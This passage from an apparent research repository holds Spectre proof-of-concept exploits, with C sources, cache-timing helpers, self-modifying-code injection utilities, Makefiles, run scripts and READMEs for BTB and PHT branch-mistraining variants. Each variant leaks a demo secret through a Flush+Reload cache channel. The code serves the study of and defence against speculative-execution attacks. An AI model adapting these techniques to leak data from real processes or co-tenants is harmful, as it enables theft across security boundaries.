| 76 | char* ptr = (char*)((((size_t)move_animal)) & ~(pagesize-1)); 77 | mprotect(ptr, pagesize * 2, PROT_WRITE | PROT_READ | PROT_EXEC); 78 | 79 | memset(mem, 0, pagesize * 290); 80 | maccess((void*)move_animal); 81 | 82 | // trigger COW for the page containing the function 83 | ptr[0] = ptr[0]; 84 | 85 | 86 | while(1) { 87 | // Parent is doing the mistraining 88 | if(!is_child) { 89 | nospec(); 90 | // train for fish 91 | for(int j = 0; j < 1000; j++) { 92 | move_animal(fish); 93 | } 94 | } 95 | // Flush our shared memory 96 | flush_shared_memory(); 97 | mfence(); 98 | 99 | // Increase misspeculation chance 100 | flush(bird); 101 | mfence(); 102 | 103 | // Child is leaking data 104 | if(is_child) { 105 | nospec(); 106 | // Leak bird secret 107 | move_animal(bird); 108 | 109 | // Recover data from the covert channel 110 | for(int i = 1; i < 256; i++) { 111 | int mix_i = ((i * 167) + 13) & 255; // prefetcher 112 | if(flush_reload(mem + mix_i * pagesize)) { 113 | if((mix_i >= 'A' && mix_i <= 'Z')) { 114 | printf("%c ", mix_i); 115 | } 116 | fflush(stdout); 117 | sched_yield(); 118 | } 119 | } 120 | } 121 | } 122 | } 123 | -------------------------------------------------------------------------------- /pocs/spectre/BTB/ca_oop/cacheutils.h: -------------------------------------------------------------------------------- 1 | #ifndef CACHEUTILS_H 2 | #define CACHEUTILS_H 3 | 4 | #ifndef HIDEMINMAX 5 | #define MAX(X,Y) (((X) > (Y)) ? (X) : (Y)) 6 | #define MIN(X,Y) (((X) < (Y)) ? (X) : (Y)) 7 | #endif 8 | 9 | #define MEASURE(op) \ 10 | ({ \ 11 | size_t begin = rdtsc(); \ 12 | op \ 13 | size_t end = rdtsc(); \ 14 | end - begin; \ 15 | }) 16 | 17 | inline __attribute__((always_inline)) uint64_t rdtsc() { 18 | uint64_t a, d; 19 | asm volatile ( 20 | "mfence\n\t" 21 | "RDTSCP\n\t" 22 | "mov %%rdx, %0\n\t" 23 | "mov %%rax, %1\n\t" 24 | "xor %%rax, %%rax\n\t" 25 | "CPUID\n\t" 26 | : "=r" (d), "=r" (a) 27 | : 28 | : "%rax", "%rbx", "%rcx", "%rdx"); 29 | a = (d<<32) | a; 30 | return a; 31 | } 32 | 33 | #define MACCESS(p,s,t) asm volatile ("movq (%0), %%r" t "x" : : s (p) : "r" t "x") 34 | 35 | inline __attribute__((always_inline)) void maccess(volatile void* p) 36 | { 37 | asm volatile ("movb (%0), %%al\n" 38 | : 39 | : "c" (p) 40 | : "rax"); 41 | } 42 | 43 | inline __attribute__((always_inline)) void flush(void* p) { 44 | asm volatile ("clflush 0(%0)\n\t" 45 | : 46 | : "c" (p) 47 | : "rax"); 48 | } 49 | 50 | #endif 51 | -------------------------------------------------------------------------------- /pocs/spectre/BTB/ca_oop/exploit.sh: -------------------------------------------------------------------------------- 1 | #!/bin/zsh 2 | file_name="main" 3 | gcc -g $file_name.c -o $file_name -Wno-format-security 4 | ./$file_name $(./hyper_thread_pair.sh) $1 5 | -------------------------------------------------------------------------------- /pocs/spectre/BTB/ca_oop/hyper_thread_pair.sh: -------------------------------------------------------------------------------- 1 | #!/bin/zsh 2 | 3 | setopt extendedglob 4 | 5 | cd /sys/devices/system/cpu/ 6 | 7 | for i in cpu[0-9]##; do 8 | package=`cat $i/topology/physical_package_id` 9 | core=`cat $i/topology/core_id` 10 | 11 | cpu_id="${i#cpu}" 12 | 13 | config="$package-$core" 14 | if (( ${+target_config} )); then 15 | if [[ $target_config == $config ]]; then 16 | echo "$first_cpu_id $cpu_id" 17 | break 18 | fi 19 | else 20 | target_config="$config" 21 | first_cpu_id="$cpu_id" 22 | fi 23 | done 24 | -------------------------------------------------------------------------------- /pocs/spectre/BTB/ca_oop/main.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | #include "./cacheutils.h" 15 | #include "./smc_utils.h" 16 | 17 | #define CACHE_LINE_SIZE 64 18 | #define PAGE_SIZE 4096ULL 19 | #define PAGE_BASE(addr) ((addr) & ~(PAGE_SIZE-1)) 20 | #define PAGE_OFFSET(addr) ((addr) & (PAGE_SIZE-1)) 21 | 22 | #define MY_MMAP(addr) mmap((void*)PAGE_BASE(addr), PAGE_SIZE, \ 23 | PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0) 24 | 25 | #define ARRAY_OFF (PAGE_SIZE) 26 | #define ARRAY_OFFSET(i) ((i)*ARRAY_OFF + (char*)useless_array) 27 | #define CACHE_TARGET_ARRAY_SIZE (2 * ARRAY_OFF * 256) 28 | 29 | #define SECRET 'S' 30 | 31 | char *asm_slow_jmp = "mov $%zd, %%rax\n\t" 32 | "mov $%zd, %%rbx\n\t" 33 | "mov %%rax, 0x0000(%%rbx)\n\t" 34 | "mov %%rax, 0x1000(%%rbx)\n\t" 35 | "mov %%rax, 0x2000(%%rbx)\n\t" 36 | "mov %%rax, 0x3000(%%rbx)\n\t" 37 | "clflush 0x0000(%%rbx)\n\t" 38 | "clflush 0x1000(%%rbx)\n\t" 39 | "clflush 0x2000(%%rbx)\n\t" 40 | "clflush 0x3000(%%rbx)\n\t" 41 | "xor %%rax, %%rax\n\t" 42 | "mov 0x0000(%%rbx), %%rax\n\t" 43 | "or 0x1000(%%rbx), %%rax\n\t" 44 | "or 0x2000(%%rbx), %%rax\n\t" 45 | "or 0x3000(%%rbx), %%rax\n\t" 46 | "jmp *%%rax\n"; 47 | char *asm_jmp = "ret\n"; 48 | char *asm_gadget = "mov $%zd, %%rax\n\t" 49 | "xor %%rbx,%%rbx\n\t" 50 | "mov $%zd, %%rdx\n\t" 51 | "mov (%%rdx), %%bl\n\t" 52 | //"mov %%rbx, %%rdx\n\t" //better cache usage? 53 | //"shl $6, %%rdx\n\t" //better cache usage? 54 | "shl $12, %%rbx\n\t" 55 | //"add %%rdx, %%rax\n\t" //better cache usage? 56 | "add %%rbx, %%rax\n\t" 57 | "mov 0(%%rax), %%rax\n\t" 58 | "ret\n"; 59 | 60 | void *useless_array; 61 | 62 | size_t calibration() { 63 | size_t touch_miss_min = ~0; 64 | size_t touch_miss = 0; 65 | size_t touch_hit = 0; 66 | size_t timing = 0; 67 | 68 | const int measurements = 1024*1024; 69 | 70 | uint8_t stack_space_array[1024 * 1024 * 2]; 71 | void *addr = stack_space_array + 1024*1024; 72 | 73 | for (int i=0; i: cpu ids of logical cpus sharing one core\n"); 100 | printf(" oop: if given the exploit will be oop\n"); 101 | exit(1); 102 | } 103 | 104 | int secret = SECRET; 105 | 106 | int oop = argc==4 ? 1 : 0; 107 | 108 | printf("This PoC is super noisy and will take some time, but once it starts it comes in bursts.\n"); 109 | printf("Secret letter is %c\n",secret); 110 | printf("Attack is%s out-of-place\n", oop ? "" : " not"); 111 | 112 | size_t threshold = calibration(); 113 | void * cache_addr; 114 | size_t attacker; 115 | 116 | void *slow_jump_buffer = mmap(NULL, 4*PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); 117 | 118 | useless_array = mmap(NULL, CACHE_TARGET_ARRAY_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); 119 | memset(useless_array, 1, CACHE_TARGET_ARRAY_SIZE); 120 | 121 | cache_addr = ARRAY_OFFSET(0); 122 | 123 | size_t jump = 0x100+(size_t)mmap(NULL, 2*PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); 124 | size_t gadget = 0x10+(size_t)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); 125 | size_t target = 0x00+(size_t)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); 126 | 127 | inject_f_asm(jump, asm_slow_jmp, gadget, slow_jump_buffer); 128 | inject_f_asm(gadget, asm_jmp); 129 | 130 | pid_t pid = fork(); 131 | assert(pid != -1); 132 | attacker = pid == 0; 133 | 134 | if (!attacker) { 135 | if (oop) 136 | jump += PAGE_SIZE; 137 | inject_f_asm(jump, asm_slow_jmp, target, slow_jump_buffer); 138 | inject_f_asm(gadget, asm_gadget, cache_addr, &secret); 139 | inject_f_asm(target, asm_jmp); 140 | } 141 | 142 | assert(useless_array != (void*)(-1)); 143 | 144 | cpu_set_t cpu_set; 145 | CPU_ZERO(&cpu_set); 146 | int cpu_id = atoi(argv[pid ? 1 : 2]); 147 | CPU_SET(cpu_id, &cpu_set); 148 | assert(0 == sched_setaffinity(0, sizeof(cpu_set), &cpu_set)); 149 | 150 | flush(cache_addr); 151 | 152 | if (attacker) { 153 | printf("attacker setup done\n"); 154 | size_t trys = 0; 155 | size_t hits = 0; 156 | size_t sucs = 0; 157 | while (1) { 158 | if (trys % 100000 == 0) { 159 | printf("\ntrys: %20zd\n", trys); 160 | printf("hits: %20zd\n", hits); 161 | printf("sucs: %20zd\n", sucs); 162 | printf("stat: %s\n", sucs * 10 > hits ? ":)" : ":("); 163 | } 164 | trys++; 165 | for (int i = 0; i < 100; i++) 166 | call_addr(jump); 167 | 168 | for (int i = 0; i<256; i++) { 169 | if (MEASURE({maccess(ARRAY_OFFSET(i));}) < threshold) { 170 | hits++; 171 | if ('A'<=i && i <='Z') 172 | printf("%c ",i); 173 | if (i == secret) { 174 | sucs++; 175 | } 176 | } 177 | } 178 | for (int i = 0; i<257; i++) 179 | flush(ARRAY_OFFSET(i)); 180 | } 181 | } 182 | else { 183 | printf("victim setup done\n"); 184 | while (1) { 185 | maccess(&secret); 186 | call_addr(jump); 187 | } 188 | } 189 | 190 | kill(pid ? pid : getppid(), SIGKILL); 191 | 192 | return 0; 193 | } 194 | -------------------------------------------------------------------------------- /pocs/spectre/BTB/ca_oop/smc_utils.h: -------------------------------------------------------------------------------- 1 | inline __attribute__((always_inline)) void call_addr(size_t addr) 2 | { 3 | asm volatile( 4 | "movq %0, %%rax\n\t" 5 | "call *%%rax" 6 | : 7 | : "r" (addr) 8 | : "%rax" 9 | ); 10 | } 11 | 12 | size_t inject_code(size_t dest, char* hex, size_t length) 13 | { 14 | memcpy((void*)dest, hex, length); 15 | return dest + length; 16 | } 17 | 18 | size_t inject_jump(size_t dest, size_t target) 19 | { 20 | char *code_base_jump = "\x48\xb8--ADDR--" 21 | "\xff\xe0"; 22 | size_t end = inject_code(dest, code_base_jump, strlen(code_base_jump)); 23 | *((size_t*)(dest+2)) = target; 24 | return end; 25 | } 26 | 27 | size_t inject_maccess(size_t dest, size_t target) 28 | { 29 | char *code_base_maccess = "\x48\xb9--ADDR--" 30 | "\x8a\x01"; 31 | size_t end = inject_code(dest, code_base_maccess, strlen(code_base_maccess)); 32 | *((size_t*)(dest+2)) = target; 33 | return end; 34 | } 35 | 36 | size_t inject_nop(size_t dest, size_t no) 37 | { 38 | while(no) 39 | { 40 | no--; 41 | dest = inject_code(dest, "\x90", 1); 42 | } 43 | return dest; 44 | } 45 | 46 | size_t assemble(char *in, char **out) 47 | { 48 | FILE *asm_file = fopen("tmp.s", "w"); 49 | if (asm_file == NULL) 50 | return 0; 51 | fwrite(in, strlen(in), 1, asm_file); 52 | fclose(asm_file); 53 | 54 | system("as -o tmp.elf tmp.s; objcopy -O binary tmp.elf tmp.bin"); 55 | 56 | char *buffer = NULL; 57 | size_t length; 58 | FILE *bin_file = fopen("tmp.bin", "rb"); 59 | 60 | if (bin_file) 61 | { 62 | fseek(bin_file, 0, SEEK_END); 63 | length = ftell(bin_file); 64 | fseek (bin_file, 0, SEEK_SET); 65 | buffer = malloc(length); 66 | if (buffer) 67 | { 68 | fread(buffer, 1, length, bin_file); 69 | } 70 | fclose(bin_file); 71 | } 72 | 73 | system("rm tmp.elf tmp.bin tmp.s"); 74 | 75 | *out = buffer; 76 | 77 | return length; 78 | } 79 | 80 | size_t inject_asm(size_t dest, char* asm_code) 81 | { 82 | char *hex = NULL; 83 | size_t length = assemble(asm_code, &hex); 84 | if (hex) 85 | { 86 | dest = inject_code(dest, hex, length); 87 | free(hex); 88 | } 89 | return dest; 90 | } 91 | 92 | #define VA_ARGS(...) , ##__VA_ARGS__ 93 | #define inject_f_asm(dest, asm_code, ...) \ 94 | ({ \ 95 | size_t ret = dest; \ 96 | char *code = asm_code; \ 97 | size_t len = snprintf(NULL, 0, code VA_ARGS(__VA_ARGS__)); \ 98 | char *f_asm_code = malloc(len); \ 99 | if (f_asm_code) \ 100 | { \ 101 | sprintf(f_asm_code, code VA_ARGS(__VA_ARGS__)); \ 102 | ret = inject_asm(ret, f_asm_code); \ 103 | free(f_asm_code); \ 104 | } \ 105 | ret; \ 106 | }) 107 | -------------------------------------------------------------------------------- /pocs/spectre/BTB/sa_ip/Makefile: -------------------------------------------------------------------------------- 1 | all: x86 2 | 3 | x86: main_x86 4 | arm: main_arm 5 | 6 | main_x86: main.cpp 7 | g++ main.cpp -o poc_x86 -Os -I../../../ 8 | 9 | main_arm: main.cpp 10 | aarch64-linux-gnu-g++ -march=armv8-a -D__ARM_ARCH_8A__ -static -Os main.cpp -o poc_arm -I../../../ 11 | 12 | clean: 13 | rm -f poc_* 14 | -------------------------------------------------------------------------------- /pocs/spectre/BTB/sa_ip/README.md: -------------------------------------------------------------------------------- 1 | # Spectre-BTB PoC 2 | 3 | This folder contains a Spectre-BTB proof-of-concept implementation for x86_64 and ARMv8. 4 | 5 | ## Compile 6 | 7 | Compile using `make x86` for the x86_64 version or `make arm` for the ARMv8 version. 8 | 9 | ## Run 10 | 11 | Run with `./poc_x86` or `./poc_arm` for x86_64 or ARMv8 respectively. 12 | 13 | The expected output is 14 | ``` 15 | S S S S S S S S S S S S S S S S 16 | ``` 17 | 18 | ## How it works 19 | This PoC uses a class from which two subclasses are derived. One class Bird contains the secret data and a implements the function `move` so that it does nothing. The other class, Fiish, contains some dummy data and the implements the function `move` so that it encodes the member variable in the cache. The functinon `move_animal` then expects the base class as a parameter and calls the virtual function `move`. By first mistraining this function with an Animal of type Bird and then substituting the Animal with a Fish we are able to leak the data as the call is mispredicted. 20 | 21 | ## Troubleshooting 22 | 23 | * The output is garbage (mostly just "AAAAAAAAAA...") 24 | + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. 25 | + **Solution #2 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. 26 | 27 | * The program appears to hang in "Leak secret..." 28 | + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_arm`. Try different cores. 29 | + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1". 30 | + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. 31 | + **Solution #4 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. 32 | -------------------------------------------------------------------------------- /pocs/spectre/BTB/sa_ip/main.cpp: -------------------------------------------------------------------------------- 1 | #ifndef _GNU_SOURCE 2 | #define _GNU_SOURCE 3 | #endif 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | extern "C" { 13 | #include "libcache/cacheutils.h" 14 | } 15 | 16 | #define SECRET 'S' 17 | 18 | // Base class 19 | class Animal { 20 | public: 21 | virtual void move() { 22 | } 23 | }; 24 | 25 | // Bird contains the secret 26 | class Bird : public Animal { 27 | private: 28 | char secret; 29 | public: 30 | Bird() { 31 | secret = SECRET; 32 | } 33 | void move() { 34 | // nop 35 | } 36 | }; 37 | 38 | // Class that contains the function to leak data 39 | class Fish : public Animal { 40 | private: 41 | char data; 42 | public: 43 | Fish() { 44 | data = 'F'; 45 | } 46 | void move() { 47 | // Encode data in the cache 48 | cache_encode(data); 49 | } 50 | }; 51 | 52 | // Function so that we always call animal->move from the same virtual address 53 | // required for indexing always the same BTB entry 54 | void move_animal(Animal* animal) { 55 | animal->move(); 56 | } 57 | 58 | 59 | int main(int argc, char **argv) { 60 | // Detect cache threshold 61 | if(!CACHE_MISS) 62 | CACHE_MISS = detect_flush_reload_threshold(); 63 | printf("[\x1b[33m*\x1b[0m] Flush+Reload Threshold: \x1b[33m%zd\x1b[0m\n", CACHE_MISS); 64 | 65 | pagesize = sysconf(_SC_PAGESIZE); 66 | char* _mem = (char*)malloc(pagesize*300); 67 | mem = (char*)(((size_t)_mem & ~(pagesize-1)) + pagesize*2); 68 | 69 | Fish* fish = new Fish(); 70 | Bird* bird = new Bird(); // contains secret 71 | 72 | char* ptr = (char*)((((size_t)move_animal)) & ~(pagesize-1)); 73 | mprotect(ptr, pagesize * 2, PROT_READ | PROT_WRITE | PROT_EXEC); 74 | 75 | memset(mem, 0, pagesize * 290); 76 | maccess((void*)move_animal); 77 | 78 | ptr[0] = ptr[0]; 79 | 80 | printf("Works if %c appears\n", SECRET); 81 | while(1) { 82 | nospec(); 83 | // Mistrain the BTB for Fish 84 | for(int j = 0; j < 1000; j++) { 85 | move_animal(fish); 86 | } 87 | // Flush our shared memory 88 | flush_shared_memory(); 89 | mfence(); 90 | 91 | // Increase misspeculation chance 92 | flush(bird); 93 | mfence(); 94 | 95 | nospec(); 96 | // Leak bird secret 97 | move_animal(bird); 98 | 99 | // Recover data from the covert channel 100 | for(int i = 1; i < 256; i++) { 101 | int mix_i = ((i * 167) + 13) & 255; // prefetcher 102 | if(flush_reload(mem + mix_i * pagesize)) { 103 | if((mix_i >= 'A' && mix_i <= 'Z')) { 104 | printf("%c ", mix_i); 105 | } 106 | fflush(stdout); 107 | sched_yield(); 108 | } 109 | } 110 | } 111 | } 112 | -------------------------------------------------------------------------------- /pocs/spectre/BTB/sa_oop/Makefile: -------------------------------------------------------------------------------- 1 | all: x86 2 | 3 | x86: main_x86 4 | arm: main_arm 5 | 6 | main_x86: main.c 7 | gcc main.c -o poc_x86 -Os -I../../../ 8 | 9 | main_arm: main.c 10 | aarch64-linux-gnu-gcc -march=armv8-a -D__ARM_ARCH_8A__ -static -Os main.c -o poc_arm -I../../../ 11 | 12 | clean: 13 | rm -f poc_* 14 | -------------------------------------------------------------------------------- /pocs/spectre/BTB/sa_oop/README.md: -------------------------------------------------------------------------------- 1 | # Spectre-BTB PoC 2 | 3 | This folder contains a Spectre-BTB proof-of-concept implementation for x86_64 and ARMv8. 4 | 5 | ## Compile 6 | 7 | Compile using `make x86` for the x86_64 version or `make arm` for the ARMv8 version. 8 | 9 | ## Run 10 | 11 | Run with `./poc_x86` or `./poc_arm` for x86_64 or ARMv8 respectively. 12 | 13 | The expected output is 14 | ``` 15 | S S S S S S S S S S S S S S S S 16 | ``` 17 | 18 | ## How it works 19 | This PoC uses two functions `dummy` and `dump_secret`. The first one does nothing but return while the second one encodes secret data in the cache. We then create a function pointer that shares the same least significant bits (those are used to index the BTB) and some random high bits. We repeatedly call the `dump_secret` function to mistrain the BTB so that the following call to `dump` is mispredicted to also go to the location of `dump_secret`. We suppress the architectural fault of calling `dump` via segfault handling. 20 | 21 | ## Troubleshooting 22 | 23 | * The output is garbage (mostly just "AAAAAAAAAA...") 24 | + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. 25 | + **Solution #2 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. 26 | 27 | * The program appears to hang in "Leak secret..." 28 | + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_arm`. Try different cores. 29 | + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1". 30 | + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. 31 | + **Solution #4 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. 32 | -------------------------------------------------------------------------------- /pocs/spectre/BTB/sa_oop/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "libcache/cacheutils.h" 9 | 10 | #define SECRET 'S' 11 | 12 | int mistrain_ = 250; 13 | int handling = 0; 14 | 15 | static jmp_buf buf; 16 | 17 | // Handle segfaults 18 | static void segfault_handler(int signum) { 19 | (void)signum; 20 | unblock_signal(SIGSEGV); 21 | longjmp(buf, 1); 22 | } 23 | 24 | void dummy() { 25 | return; 26 | } 27 | 28 | void dump_secret() { 29 | // Encode data in the covert channel 30 | cache_encode(SECRET); 31 | } 32 | 33 | int main(int argc, const char **argv) { 34 | // Detect cache threshold 35 | if(!CACHE_MISS) 36 | CACHE_MISS = detect_flush_reload_threshold(); 37 | printf("[\x1b[33m*\x1b[0m] Flush+Reload Threshold: \x1b[33m%zd\x1b[0m\n", CACHE_MISS); 38 | 39 | // install signal handler 40 | signal(SIGSEGV, segfault_handler); 41 | pagesize = sysconf(_SC_PAGESIZE); 42 | char *_mem = (char*) malloc(pagesize * (256 + 4)); 43 | mem = (char *)(((size_t)_mem & ~(pagesize-1)) + pagesize * 2); 44 | memset(mem, 0, pagesize * 256); 45 | 46 | // Flush our shared memory 47 | flush_shared_memory(); 48 | mfence(); 49 | 50 | void (*mistrain)(); 51 | void (*dump)(); 52 | mistrain = dump_secret; 53 | // clear the high bits of dump_secret 54 | dump = (void (*)())(0x000000FFFFFF & (size_t)dump_secret); 55 | // set the high bits to something and set the low bits to dump_scret, we only care about the low bits in BTB indexing 56 | dump = (void (*)())(0x123321000000 | (size_t)dump); 57 | printf("[\x1b[33m*\x1b[0m] mistrain: \x1b[33m\t%p\x1b[0m\n", mistrain); 58 | printf("[\x1b[33m*\x1b[0m] dump: \x1b[33m\t%p\x1b[0m\n", dump); 59 | // We now have a function pointer to a function with the same 23 LSB as our leak function 60 | 61 | while(1) { 62 | // Mistrain by calling mistrain (dump_secret) function 63 | for(int i = 0; i < 2500; i++) 64 | mistrain(); 65 | 66 | // Flush our shared memory 67 | flush_shared_memory(); 68 | mfence(); 69 | nospec(); 70 | 71 | if(handling) { 72 | // Call predicted function 73 | dump(); 74 | } 75 | 76 | // Previous call will fail, so after every fault we return here 77 | if(!setjmp(buf)) { 78 | handling = 1; 79 | } 80 | 81 | // Recover data from the covert channel 82 | for(int i = 0; i < 256; i++) { 83 | int mix_i = ((i * 167) + 13) & 255; // avoid prefetcher 84 | if(flush_reload(mem + mix_i * pagesize)) { 85 | if(mix_i >= 'A' && mix_i <= 'Z') { 86 | printf("%c ", mix_i); 87 | break; 88 | } 89 | fflush(stdout); 90 | } 91 | } 92 | sched_yield(); 93 | } 94 | return 0; 95 | } 96 | -------------------------------------------------------------------------------- /pocs/spectre/PHT/ca_ip/Makefile: -------------------------------------------------------------------------------- 1 | all: x86 2 | 3 | x86: main_x86 4 | arm: main_arm 5 | 6 | main_x86: main.c 7 | gcc main.c -o poc_x86 -Os -I../../../ 8 | 9 | main_arm: main.c 10 | aarch64-linux-gnu-gcc -march=armv8-a -D__ARM_ARCH_8A__ -static -Os main.c -o poc_arm -I../../../ 11 | 12 | clean: 13 | rm -f poc_* 14 | -------------------------------------------------------------------------------- /pocs/spectre/PHT/ca_ip/README.md: -------------------------------------------------------------------------------- 1 | # Spectre-PHT PoC 2 | 3 | This folder contains a Spectre-PHT proof-of-concept implementation for x86_64 and ARMv8. 4 | 5 | ## Compile 6 | 7 | Compile using `make x86` for the x86_64 version or `make arm` for the ARMv8 version. 8 | 9 | ## Run 10 | 11 | Run with `./poc_x86` or `./poc_arm` for x86_64 or ARMv8 respectively. 12 | 13 | The expected output is 14 | ``` 15 | [*] Flush+Reload Threshold: 180 16 | [ ] INACCESSIBLE SECRET 17 | 18 | [>] Done 19 | ``` 20 | 21 | ## How it works 22 | 23 | The array `data` stores some accessible data (defined in `DATA`) followed by some inaccessible data (defined in `SECRET`). The `access_array` function takes an index to the array and checks whether it accesses the "accessible" part of the array. 24 | If so, it encodes the value at the given index in the cache (cf. Spectre or Meltdown attack). If this bound check is mistrained often enough, the CPU (speculatively) executes the code inside the condition also for invalid indices (i.e., indices out of bounds). 25 | 26 | The longer the condition takes to resolve, the higher the probability that the CPU (mis)speculates. Thus, the length check is written as division (which is usually a slow operation). 27 | ``` 28 | x < len <=> x / len < 1 29 | ``` 30 | (assuming both the length of the data as well as the index to the array are positive) 31 | 32 | This PoC is similar to the in-place mistraining variant, but now we fork and have one process do the mistraining while the other performs the out-of-bounds access and the recovery of the data. 33 | 34 | ## Troubleshooting 35 | 36 | * The output is garbage (mostly just "AAAAAAAAAA...") 37 | + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. 38 | + **Solution #2 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. 39 | 40 | * The program appears to hang in "Leak secret..." 41 | + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_arm`. Try different cores. 42 | + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1". 43 | + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. 44 | + **Solution #4 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. 45 | -------------------------------------------------------------------------------- /pocs/spectre/PHT/ca_ip/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "../../../libcache/cacheutils.h" 9 | 10 | // accessible data 11 | #define DATA "data|" 12 | // inaccessible secret (following accessible data) 13 | #define SECRET "INACCESSIBLE SECRET" 14 | 15 | #define DATA_SECRET DATA SECRET 16 | 17 | unsigned char data[128]; 18 | 19 | char access_array(int x) { 20 | // flushing the data which is used in the condition increases 21 | // probability of speculation 22 | size_t len = sizeof(DATA) - 1; 23 | mfence(); 24 | flush(&len); 25 | flush(&x); 26 | 27 | // ensure data is flushed at this point 28 | mfence(); 29 | 30 | // check that only accessible part (DATA) can be accessed 31 | if((float)x / (float)len < 1) { 32 | // countermeasure: add the fence here 33 | cache_encode(data[x]); 34 | } 35 | } 36 | 37 | int main(int argc, const char **argv) { 38 | // Detect cache threshold 39 | if(!CACHE_MISS) 40 | CACHE_MISS = detect_flush_reload_threshold(); 41 | printf("[\x1b[33m*\x1b[0m] Flush+Reload Threshold: \x1b[33m%zd\x1b[0m\n", CACHE_MISS); 42 | 43 | pagesize = sysconf(_SC_PAGESIZE); 44 | char *_mem = malloc(pagesize * (256 + 4)); 45 | // page aligned 46 | mem = (char *)(((size_t)_mem & ~(pagesize-1)) + pagesize * 2); 47 | 48 | pid_t pid = fork(); 49 | // initialize memory 50 | memset(mem, pid, pagesize * 256); 51 | 52 | // store secret 53 | memset(data, ' ', sizeof(data)); 54 | memcpy(data, DATA_SECRET, sizeof(DATA_SECRET)); 55 | // ensure data terminates 56 | data[sizeof(data) / sizeof(data[0]) - 1] = '0'; 57 | 58 | // flush our shared memory 59 | flush_shared_memory(); 60 | 61 | // nothing leaked so far 62 | char leaked[sizeof(DATA_SECRET) + 1]; 63 | memset(leaked, ' ', sizeof(leaked)); 64 | leaked[sizeof(DATA_SECRET)] = 0; 65 | 66 | int j = 0; 67 | while(1) { 68 | // for every byte in the string 69 | j = (j + 1) % sizeof(DATA_SECRET); 70 | 71 | // mistrain with valid index 72 | if(pid == 0) { 73 | for(int y = 0; y < 10; y++) { 74 | access_array(0); 75 | } 76 | } 77 | else { 78 | // potential out-of-bounds access 79 | access_array(j); 80 | 81 | // only show inaccessible values (SECRET) 82 | if(j >= sizeof(DATA) - 1) { 83 | mfence(); // avoid speculation 84 | cache_decode_pretty(leaked, j); 85 | } 86 | 87 | if(!strncmp(leaked + sizeof(DATA) - 1, SECRET, sizeof(SECRET) - 1)) 88 | break; 89 | 90 | sched_yield(); 91 | } 92 | } 93 | printf("\n\x1b[1A[ ]\n\n[\x1b[32m>\x1b[0m] Done\n"); 94 | } 95 | -------------------------------------------------------------------------------- /pocs/spectre/PHT/ca_oop/Makefile: -------------------------------------------------------------------------------- 1 | all: x86 2 | 3 | x86: main_x86 4 | arm: main_arm 5 | 6 | main_x86: main.c 7 | gcc main.c -o poc_x86 -Os -I../../../ 8 | 9 | main_arm: main.c 10 | aarch64-linux-gnu-gcc -march=armv8-a -D__ARM_ARCH_8A__ -static -Os main.c -o poc_arm -I../../../ 11 | 12 | clean: 13 | rm -f poc_* 14 | -------------------------------------------------------------------------------- /pocs/spectre/PHT/ca_oop/README.md: -------------------------------------------------------------------------------- 1 | # Spectre-PHT PoC 2 | 3 | This folder contains a Spectre-PHT proof-of-concept implementation for x86_64 and ARMv8. 4 | 5 | ## Compile 6 | 7 | Compile using `make x86` for the x86_64 version or `make arm` for the ARMv8 version. 8 | 9 | ## Run 10 | 11 | Run with `./poc_x86` or `./poc_arm` for x86_64 or ARMv8 respectively. 12 | 13 | The expected output is 14 | ``` 15 | [*] Flush+Reload Threshold: 180 16 | [ ] INACCESSIBLE SECRET 17 | 18 | [>] Done 19 | ``` 20 | 21 